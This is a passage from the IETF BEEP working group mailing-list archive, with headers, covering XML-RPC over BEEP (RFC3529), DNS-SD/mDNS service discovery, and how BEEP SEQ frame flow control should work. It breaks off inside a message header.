List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Dec 2005 21:36:24 -0000

Hi,

We are looking for RFC definitions to perform some lightweight RPC over
BEEP between applications on the same desktop. As a first choices for
RPC definitions we have found XML-RPC definition (RFC3529) and SOAP over
BEEP (RFC3288bis-02). 

Because SOAP encapsulation protocol covers many things not really needed
by our environment, we find RFC3529 to be the right choice. However I'm
trying to contact the RFC author to ask some question about the document
but it seems the address is no longer available. 

Here is the mail I've sent to the author. Maybe the RFC author is still
earing this mailling list and some of you could add some comments about
it (that would be really appreciated!!):

---BEGIN MAIL
We are considering to implement the RFC 3529 profile definion on top of
Vortex Library [1] to perform application IPC inside the same desktop. 

We think it fits right for the kind of lightweight IPC we are looking
for, however, I would like to ask you some questions we have found. I
hope this is the right way to do this.

1) Why did you choose the XML-RPC defined at [2] as the XML definition
for the BEEP profile? Why not define other XML-RPC at the RFC itself?

2) What is the status of the RFC? What makes this RFC to keep on
experimental state? Do you think we shouldn't implement this profile
because there is something that makes this profile to remain
experimental or not usable?

3) Bootstraping mechanish you have defined at "2.1 Profile
Initialization" section is great. We think it is a good fundation to
enable registering new XML-RPC interfaces to be exposed on real-time.
Was this idea the main purpose for the profile initialization to be
designed this way or it was something else different?

4) Knowing we are going to use this RFC to implement a kind of IPC
between applications on the same desktop, did you find this to fit right
or there are better BEEP profiles to accomplish this task?

5) Because we are going to run several components exposing interfaces on
top of the XML-RPC mechanism, we need some kind of location broker to
implement the next steps:

  a) Connect to the location broker and request current location for a 
     given component using logical names, for example:

          "common::component-name"

  b) The location broker returns the location for the
     component named "common::component-name" to be running at:

           xmlrpc.beep://localhost:64000

  c) Finally connect to that host location where it is expected to find
     a BEEP peer implementing the XML-RPC profile.

So, the question could be: Is there some BEEP RFC defining this kind of
location broker (not matter if it is being defined at this moment)? 

Thanks for your attention, 

Cheers!!

[1] http://vortex.aspl.es
[2] http://www.xmlrpc.com
---END MAIL

Futher reading shows that item 3) is not right. Bootstraping mechanism
was defined on SOAP over BEEP RFC and later adopted by RFC3529. However,
it is still a good mech no matter who have defined it first.

We are especially insterested on item 2), that is, why RFC3529 remains
experimental? Our felling is that the XML-RPC doesn't support any
transaction identifier that could ensure correlation, so this could be
the problem that explain such state. It this right?

About the item 5), the location broker issue, is there any effort on
this direction? 

We think it could be a great definition to have the ability to connect
to a location broker and discover on real time more BEEP peers running,
based on different factors, performing later connections in a
peer-to-peer manner withtout the intervention of the location broker.
What do you think about this idea?

Many thanks for you attention!

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From francis@aspl.es Fri Dec 30 09:58:17 2005
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])jBUHwGrM004898
	for <beepwg@lists.beepcore.org>; Fri, 30 Dec 2005 09:58:17 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1EsOVm-0005Ks-00; Fri, 30 Dec 2005 18:57:54 +0100
Subject: Re: [BEEPwg] Lightweight RPC over BEEP
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Peter Hall <whiz100@hotmail.com>
In-Reply-To: <BFDAA922.F4D0%whiz100@hotmail.com>
References: <BFDAA922.F4D0%whiz100@hotmail.com>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 30 Dec 2005 18:58:23 +0100
Message-Id: <1135965503.11044.83.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1EsOVm-0005Ks-00*6P.4iXLRaxo*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id jBUHwGrM004898
cc: BEEPwg <beepwg@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 30 Dec 2005 17:58:17 -0000

El vie, 30-12-2005 a las 09:06 -0500, Peter Hall escribió:
> Francis

Hi Peter!

> 
> Just a quick thought about your location service.
> 
> I can think of 2 possible ways to do this.
> 1) LDAP - http://www.openldap.org/software/
> 2) DNS Service Discovery -  http://www.dns-sd.org/
> 
> I've not implemented a location service but I know both of these
> solutions
> are capable of doing it.

Thanks for your reply, I'll take a look into DNS Service Discovery. 

I feel both are centralized location service solutions for large
networks (and not so large ones ;-) that could allow to find new BEEP
servers that are allways located on the same host:port place (maybe
changing the port part). However we have already implemented that server
location behaviour in the middle-ware we are working on called Af-Arch
[1].

But, at the client side, to perform desktop IPC between applications to
compose bigger ones running on top of Af-Arch we have realized that,
already being attached to a BEEP engine, why don't use that engine to
connect to other components thourgh an lightweigh RPC rather than going
to use other IPC?

In our environment we have several desktop IPC solutions, the one that
could fit well is D-BUS [2], but they don't seem to understand that
people not only want's to produce KDE and GNOME desktop based
applications, because customer are mostly running windows!! (for D-BUS
people, windows desktop doesn't exist, and that's ok [3])

If you look inside D-BUS source code, you'll find that they are
reimplementing (*again*) many concepts already address by BEEP. So, we
could say we are looking for:

1) Reuse the BEEP engine, that our applications is already attached, to
implement a portable (starting for GNU/Linux and Windows) IPC mechnism
that, if posible, to be one an already defined RFC. At this moment we
are mostly sure that XML-RPC (RFC3529) is a good starting point.

2) Find and implement (or just implement) a mechanism to discover inside
the same desktop more BEEP peers exporting component interfaces on top
of previous defined mechanism. 

Thanks for your comments Peter, feedback is allways appreciated!!

Cheers,


[1] http://fact.aspl.es
[2] http://www.freedesktop.org/Software/dbus
[3] http://dbus.freedesktop.org/doc/dbus-faq.html (item 18)
> 
> Regards
> Peter
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From francis@aspl.es Tue Jan  3 11:04:57 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k03J4s6U000933
	for <beepwg@lists.beepcore.org>; Tue, 3 Jan 2006 11:04:57 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1EtrSX-00072K-00; Tue, 03 Jan 2006 20:04:37 +0100
Subject: RE: [BEEPwg] Lightweight RPC over BEEP
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Jonathan Perret <Jonathan.Perret@augure.com>
In-Reply-To: <D1451B832D81E24F94602F902B875BFF025C7D@MXVS1.COLTMSU.local>
References: <D1451B832D81E24F94602F902B875BFF025C7D@MXVS1.COLTMSU.local>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Tue, 03 Jan 2006 20:04:45 +0100
Message-Id: <1136315085.4235.20.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1EtrSX-00072K-00*yENIM8M8y/I*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k03J4s6U000933
cc: BEEPwg <beepwg@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 03 Jan 2006 19:04:58 -0000

El lun, 02-01-2006 a las 11:09 +0000, Jonathan Perret escribió:
> Francis,

Hi Jonathan, Peter,

> 
> Sorry if I do not read you correctly, but it does not seem to me that
> DNS-SD matches your description above :
> - "centralized" : DNS-SD fits very well on top of the totally
> decentralized Multicast-DNS. In fact DNS-SD+Multicast-DNS = Apple's
> "Bonjour" (ex-"Rendezvous") stack, widely acclaimed as a neat
> standards-based solution to the service discovery problem.
> - "same host" : the point of DNS-SD is that you're not looking for a
> host but a service - the location of that service may change from
> minute to minute (and DNS-SD APIs generally provide alerts to client
> software to let them know about updates to service topology). Of
> course nothing prevents you from restricting your search to the local
> host if that's what you need.

A bit of reading before sending my response have showed that DNS-SD/mDNS
are likely to be the especification we were looking for. I'm impressed
about the zeroconf working group whole definition, reusing
existing/standard technologies, and the amount of projects/people that
are implementing/interested on it! 

> 
> > But, at the client side, to perform desktop IPC between 
> > applications to compose bigger ones running on top of Af-Arch 
> > we have realized that, already being attached to a BEEP 
> > engine, why don't use that engine to connect to other 
> > components thourgh an lightweigh RPC rather than going to use 
> > other IPC?
> 
> That's a fine idea but as you seem to have recognized already, the
> choice of the BEEP protocol is orthogonal to the choice of a discovery
> mechanism.
> 
> Surely you know about Apple's Xgrid ? Probably the most
> widely-deployed BEEP application these days (or ever, for that
> matter !). It uses BEEP for transport and DNS-SD for discovery.
> 

No!, I didn't. I've been reading Bonjour and Xgrind specs and they are
lovely works. 

Jonathan, Peter, 
Thanks for your replies!


> Cheers,
> --Jonathan
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From francis@aspl.es Thu Jan  5 00:59:32 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k058xTvq026379
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 00:59:32 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1EuQxe-0005YU-00; Thu, 05 Jan 2006 09:59:06 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Thu, 05 Jan 2006 09:59:25 +0100
Message-Id: <1136451565.22303.9.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1EuQxe-0005YU-00*/u6vvbGLACo*
Subject: [BEEPwg] Some toughts about BEEP+DNS-SD/mDNS
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 08:59:32 -0000

Hi there,

Some thoughts about BEEP+DNS-SD/mDNS (and maybe without link-local):

Stuart have pointed me to a new book he has written about zero conf
technologies and some comments on that area:

---
One of the problems we have right now is that there's almost too much 
Bonjour/Zeroconf information on the web, and that can be a bit daunting 
to a newcomer. Because of this I wrote an O'Reilly book to gather all
the 
relevant information together into one concise volume. It just came out 
the week before Christmas. There's a link at the 
<http://www.zeroconf.org/> web site. Please feel free to forward this
to 
the list if you feel it's appropriate.
---

Thinking about how Apple have mixed DNS-SD/mDNS with BEEP to produce
Xgrid (at least, maybe more products are over there) shows that they
are impressive partners for building peer-to-peer networked protocols.

This joining solves (as the Xgrind team have realized) nearly every
problem found on moderm networked applications: the power of the
peer-to-peer transaction supported by BEEP and the easyness to find
other computer and services as we were running on top of AppleTalk but
doing so on TCP/IP!

>From the conversation on this mailling list with Jonathan and Peter
that have permited to me to know such technologies (thanks you guys)
one could easily think this is a key area to promote as a fundation
for a new family of networked applications. 

Cheers!

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From francis@aspl.es Thu Jan  5 01:04:12 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k0594BJO026491
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 01:04:12 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1EuR2B-0005gC-00; Thu, 05 Jan 2006 10:03:47 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Paul Lacy <paul.lacy@hsd.com.au>, BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Thu, 05 Jan 2006 10:04:06 +0100
Message-Id: <1136451846.22303.15.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1EuR2B-0005gC-00*afm.4I.A04.*
Subject: [BEEPwg] Some SEQ frame questions
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 09:04:12 -0000

Hi there,

Now some technical question about BEEP and SEQ frames:

Paul [1] have reported a bug on the Vortex Library bugzilla showing
that SEQ frame are still not really supported. While making some code
to finish this area in a basic manner I've runned into the following
questions:

1) If a client peer wants to reduce/increase the window size for a
   given channel, one might deduce that it should issue a SEQ message
   with the desired new window size.

   This will produce that the local window size will be configured
   with the new window size and a SEQ frame is set to the remote
   peer. It this right? 

   But, what if the remote side doesn't agree on changing requested
   value for the new window size?

   How it is used the ackno value for the SEQ frame received?

2) Because the purpose of the SEQ frame, it is stated that they should
   have greater priority over same messages on the same channel, but,
   this will break the principle "every message send on the same
   channel is sent sequentially". 

   If there are 10 frames waiting to be send and a SEQ frame is issued
   then these messages are freezed until the SEQ frame is sent?

   Does this means that over the same channel "normal" frames are sent
   sequentially but, there another queue with higher priority to send
   SEQ frames generated?

   Does SEQ frames increase frame octec counting (seqno, size) or the
   message counting (msgno) for a channel when the are sent and
   received?

3) It is easy to understand that any change required to the window
   size for a given channel will required to produce a SEQ frame to be
   sent, but if the window size doesn't change:

   It is required to keep on sending SEQ frames notifying current
   status of the channel buffer?

4) What could happen if BEEP peer just ignore SEQ frames or don't
   generate SEQ frames?

Any comment would be appreciated!

Cheers! 

[1] http://dolphin.aspl.es/cgi-bin/bugzilla/show_bug.cgi?id=277


-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From whiz100@hotmail.com Thu Jan  5 06:04:07 2006
Received: from hotmail.com (bay115-dav16.bay115.hotmail.com [65.54.250.88])
	k05E47Mr030582
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 06:04:07 -0800
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 5 Jan 2006 06:04:02 -0800
Message-ID: <BAY115-DAV165A2A2F1A1FEBEC26D34BF22E0@phx.gbl>
Received: from 24.99.144.45 by BAY115-DAV16.phx.gbl with DAV;
	Thu, 05 Jan 2006 14:03:52 +0000
X-Originating-IP: [24.99.144.45]
X-Originating-Email: [whiz100@hotmail.com]
X-Sender: whiz100@hotmail.com
User-Agent: Microsoft-Entourage/10.1.6.040913.0
Date: Thu, 05 Jan 2006 09:03:51 -0500
Subject: Re: [BEEPwg] Some SEQ frame questions
From: Peter Hall <whiz100@hotmail.com>
To: Francis Brosnan Blazquez <francis@aspl.es>,
        Paul Lacy <paul.lacy@hsd.com.au>, BEEPwg <beepwg@lists.beepcore.org>
Message-ID: <BFE29177.F834%whiz100@hotmail.com>
In-Reply-To: <1136451846.22303.15.camel@vulcan.aspl>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-OriginalArrivalTime: 05 Jan 2006 14:04:02.0230 (UTC)
	FILETIME=[E1AF4D60:01C61200]
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 14:04:08 -0000

Francis

See my comments inline

> From: Francis Brosnan Blazquez <francis@aspl.es>
> Organization: Advanced Software Production Line, S.L.
> Date: Thu, 05 Jan 2006 10:04:06 +0100
> To: Paul Lacy <paul.lacy@hsd.com.au>, BEEPwg <beepwg@lists.beepcore.org>
> Subject: [BEEPwg] Some SEQ frame questions
> 
> Hi there,
> 
> Now some technical question about BEEP and SEQ frames:
> 
> Paul [1] have reported a bug on the Vortex Library bugzilla showing
> that SEQ frame are still not really supported. While making some code
> to finish this area in a basic manner I've runned into the following
> questions:
> 
> 1) If a client peer wants to reduce/increase the window size for a
>  given channel, one might deduce that it should issue a SEQ message
>  with the desired new window size.

Correct. But RFC3081 has an implementation guideline that says "For
   example, Section 4.2.2.16 of RFC1122 [5] indicates that a "receiver
   SHOULD NOT shrink the window, "
> 
>  This will produce that the local window size will be configured
>  with the new window size and a SEQ frame is set to the remote
>  peer. It this right?
> 
>  But, what if the remote side doesn't agree on changing requested
>  value for the new window size?
> 

I cannot find an answer to this one. Read the 3 bullet points in rfc3081
3.1.2 Sending Messages
   1) segment messages
   2) delay until the window is large enough
   3) report error to application

>  How it is used the ackno value for the SEQ frame received?

There is nothing.

> 
> 2) Because the purpose of the SEQ frame, it is stated that they should
>  have greater priority over same messages on the same channel, but,
>  this will break the principle "every message send on the same
>  channel is sent sequentially".
> 
>  If there are 10 frames waiting to be send and a SEQ frame is issued
>  then these messages are freezed until the SEQ frame is sent?
> 
>  Does this means that over the same channel "normal" frames are sent
>  sequentially but, there another queue with higher priority to send
>  SEQ frames generated?
> 
>  Does SEQ frames increase frame octec counting (seqno, size) or the
>  message counting (msgno) for a channel when the are sent and
>  received?

No changes to the counts

> 
> 3) It is easy to understand that any change required to the window
>  size for a given channel will required to produce a SEQ frame to be
>  sent, but if the window size doesn't change:
> 
>  It is required to keep on sending SEQ frames notifying current
>  status of the channel buffer?

No need to keep sending them

> 
> 4) What could happen if BEEP peer just ignore SEQ frames or don't
>  generate SEQ frames?

This is what I have done. I'll accept the SEQ frame but I never send a SEQ
frame. When I send a message I'll split the message into whatever the remote
peer SEQ requested.
When I receive a segmented message I'll cache the data until I received the
final piece. Only after I've received the complete message do I hand it back
to the application.

> 
> Any comment would be appreciated!
> 
> Cheers! 
> 
> [1] http://dolphin.aspl.es/cgi-bin/bugzilla/show_bug.cgi?id=277
> 
> 
> -- 
> Francis Brosnan Blazquez <francis@aspl.es>
> Advanced Software Production Line, S.L.
> 
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg
> 

From davidb@verisignlabs.com Thu Jan  5 08:07:49 2006
Received: from mail.verisignlabs.com (cliffie.verisignlabs.com [65.201.175.9])
	k05G7m97031800
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 08:07:48 -0800
Received: from [10.131.244.197] ([::ffff:216.168.239.87])
  (AUTH: PLAIN davidb, TLS: TLSv1/SSLv3,128bits,RC4-SHA)
  by mail.verisignlabs.com with esmtp; Thu, 05 Jan 2006 11:07:41 -0500
  id 0061C015.43BD444D.000023BC
In-Reply-To: <1136451846.22303.15.camel@vulcan.aspl>
References: <1136451846.22303.15.camel@vulcan.aspl>
Mime-Version: 1.0 (Apple Message framework v746.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <B59B3F04-0B48-4A12-B4E5-448C91B1DA01@verisignlabs.com>
Content-Transfer-Encoding: 7bit
From: David Blacka <davidb@verisignlabs.com>
Subject: Re: [BEEPwg] Some SEQ frame questions
Date: Thu, 5 Jan 2006 11:07:39 -0500
To: Francis Brosnan Blazquez <francis@aspl.es>
X-Mailer: Apple Mail (2.746.2)
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Paul Lacy <paul.lacy@hsd.com.au>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 16:07:49 -0000


On Jan 5, 2006, at 4:04 AM, Francis Brosnan Blazquez wrote:

> Hi there,
>
> Now some technical question about BEEP and SEQ frames:
>
> Paul [1] have reported a bug on the Vortex Library bugzilla showing
> that SEQ frame are still not really supported. While making some code
> to finish this area in a basic manner I've runned into the following
> questions:

One thing that may not be clear here: supporting SEQ frames is  
REQUIRED if you want your BEEP implementation to interoperate with  
other BEEP implementations.  There is some flexibility in how the  
implementation actually handles them, but it must honor incoming SEQ  
frames and emit SEQ frames.

I have, in the past, worked with a BEEP implementation that didn't  
support SEQ frames, and it did work fairly well with itself (this was  
beepy, prior to its switch to using twisted), but it had no hope of  
working with any other BEEP implementation.

> 1) If a client peer wants to reduce/increase the window size for a
>    given channel, one might deduce that it should issue a SEQ message
>    with the desired new window size.

Um, yes, but I'm not sure you are seeing what the SEQ frame is  
saying.  It isn't saying that "oh, I accept messages up to 4k", it is  
saying "I have 4k available *right now*".  That is, the SEQ frame  
isn't a policy announcement, it is a statement about what the peer is  
willing to accept at that moment.

>    This will produce that the local window size will be configured
>    with the new window size and a SEQ frame is set to the remote
>    peer. It this right?

I couldn't parse this question.

>    But, what if the remote side doesn't agree on changing requested
>    value for the new window size?

There is no room for disagreement.  It is up to the remote side to  
not send more data than the local side is willing to accept.

>    How it is used the ackno value for the SEQ frame received?

I can't remember anything specific.  In general, it is probably used  
as a sanity check.


> 2) Because the purpose of the SEQ frame, it is stated that they should
>    have greater priority over same messages on the same channel, but,
>    this will break the principle "every message send on the same
>    channel is sent sequentially".

What is being said is that the SEQ frames should be given priority in  
the sequence.

>    If there are 10 frames waiting to be send and a SEQ frame is issued
>    then these messages are freezed until the SEQ frame is sent?

Could be.

>    Does this means that over the same channel "normal" frames are sent
>    sequentially but, there another queue with higher priority to send
>    SEQ frames generated?

That is one way to implement it, but not the only way.

>    Does SEQ frames increase frame octec counting (seqno, size) or the
>    message counting (msgno) for a channel when the are sent and
>    received?


> 3) It is easy to understand that any change required to the window
>    size for a given channel will required to produce a SEQ frame to be
>    sent, but if the window size doesn't change:
>
>    It is required to keep on sending SEQ frames notifying current
>    status of the channel buffer?

Yes!

> 4) What could happen if BEEP peer just ignore SEQ frames or don't
>    generate SEQ frames?

When I was implementing my own BEEP implementation (the  
Net::BEEP::Lite perl module), I found SEQ to be the hardest thing to  
grasp, so I'm not particularly surprised when implementations skip  
it.  However, SEQ is not an optional part of BEEP over TCP.

What SEQ is doing, essentially, is saying: "hey! I can receive N  
octets on this channel!".  If you are a sender, it is required that  
you do not send any more than N octets on that channel, possibly  
causing the message to fragment. (note that the octet count doesn't  
include the frame header and \r\nEND bit).  If you, as the sender,  
actually send more than N octets, then you can expect the remote end  
to either discard data or to freak out and end the session.  So, this  
is why ignoring incoming SEQs isn't a good idea.  If you are  
receiving data, yet not emitting SEQs, then the remote sender will  
stop sending you data past the default SEQ of 4096 octets.   
Essentially, your channel will quickly stall.  So this is why it is a  
good idea to *send* SEQs.

Now, as I stated at the top of this message, if both sender and  
receiver are ignoring SEQs, then the protocol will work, which is why  
an implementation can get away with not implementing SEQ support:  
they self-interoperate.  However, the implementation will NOT  
interoperate with a different BEEP implementation that *does*  
implement SEQ.

--
David Blacka    <davidb@verisignlabs.com>
Sr. Engineer    VeriSign Applied Research



From davidb@verisignlabs.com Thu Jan  5 08:26:36 2006
Received: from mail.verisignlabs.com (cliffie.verisignlabs.com [65.201.175.9])
	k05GQaPh031955
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 08:26:36 -0800
Received: from [10.131.244.197] ([::ffff:216.168.239.87])
  (AUTH: PLAIN davidb, TLS: TLSv1/SSLv3,128bits,RC4-SHA)
  by mail.verisignlabs.com with esmtp; Thu, 05 Jan 2006 11:26:33 -0500
  id 0061C015.43BD48B9.00002A27
In-Reply-To: <BAY115-DAV165A2A2F1A1FEBEC26D34BF22E0@phx.gbl>
References: <BAY115-DAV165A2A2F1A1FEBEC26D34BF22E0@phx.gbl>
Mime-Version: 1.0 (Apple Message framework v746.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <EEE2C891-9100-48EA-9A9F-9583ECDAF436@verisignlabs.com>
Content-Transfer-Encoding: 7bit
From: David Blacka <davidb@verisignlabs.com>
Subject: Re: [BEEPwg] Some SEQ frame questions
Date: Thu, 5 Jan 2006 11:26:32 -0500
To: Peter Hall <whiz100@hotmail.com>
X-Mailer: Apple Mail (2.746.2)
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Paul Lacy <paul.lacy@hsd.com.au>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 05 Jan 2006 16:26:37 -0000


On Jan 5, 2006, at 9:03 AM, Peter Hall wrote:

>> 3) It is easy to understand that any change required to the window
>>  size for a given channel will required to produce a SEQ frame to be
>>  sent, but if the window size doesn't change:
>>
>>  It is required to keep on sending SEQ frames notifying current
>>  status of the channel buffer?
>
> No need to keep sending them

Um, no.  I think you've misunderstood how SEQ works.

It is true that you do not have to send a new SEQ frame after every  
received frame (although you could).  You DO need to send one either  
before the original buffer size is exhausted, or immediately afterwards.

What the SEQ frame says is: on this channel, you may send me N  
octets.  It isn't saying "break every message in to N octet frames".


>>
>> 4) What could happen if BEEP peer just ignore SEQ frames or don't
>>  generate SEQ frames?
>
> This is what I have done. I'll accept the SEQ frame but I never  
> send a SEQ
> frame. When I send a message I'll split the message into whatever  
> the remote
> peer SEQ requested.

Have you actually interoperated with, say, beepcore-j?

--
David Blacka    <davidb@verisignlabs.com>
Sr. Engineer    VeriSign Applied Research



From whiz100@hotmail.com Thu Jan  5 09:46:05 2006
Received: from hotmail.com (bay115-dav4.bay115.hotmail.com [65.54.250.76])
	k05Hk56u032698
	for <beepwg@lists.beepcore.org>; Thu, 5 Jan 2006 09:46:05 -0800
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 5 Jan 2006 09:45:59 -0800
Message-ID: <BAY115-DAV4E383FEC4BC4F0551F264F22E0@phx.gbl>
Received: from 63.174.67.2 by BAY115-DAV4.phx.gbl with DAV;
	Thu, 05 Jan 2006 17:45:58 +0000
X-Originating-IP: [63.174.67.2]
X-Originating-Email: [whiz100@hotmail.com]
